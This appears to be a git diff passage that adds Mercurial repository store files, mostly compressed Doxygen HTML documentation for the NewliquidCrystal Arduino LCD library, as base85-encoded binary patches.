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 E0E~jCmjD0& literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5ee097b513a138b606569dd4d4e2537e1683e5f0 GIT binary patch literal 6007 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 UPJI0}>%v93#4YN1M=Z_%0s0hp<^TWy literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d.html.i new file mode 100644 index 0000000000000000000000000000000000000000..edafceffbbb67ee69b57c538f7f784cc8cbc0007 GIT binary patch literal 15321 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 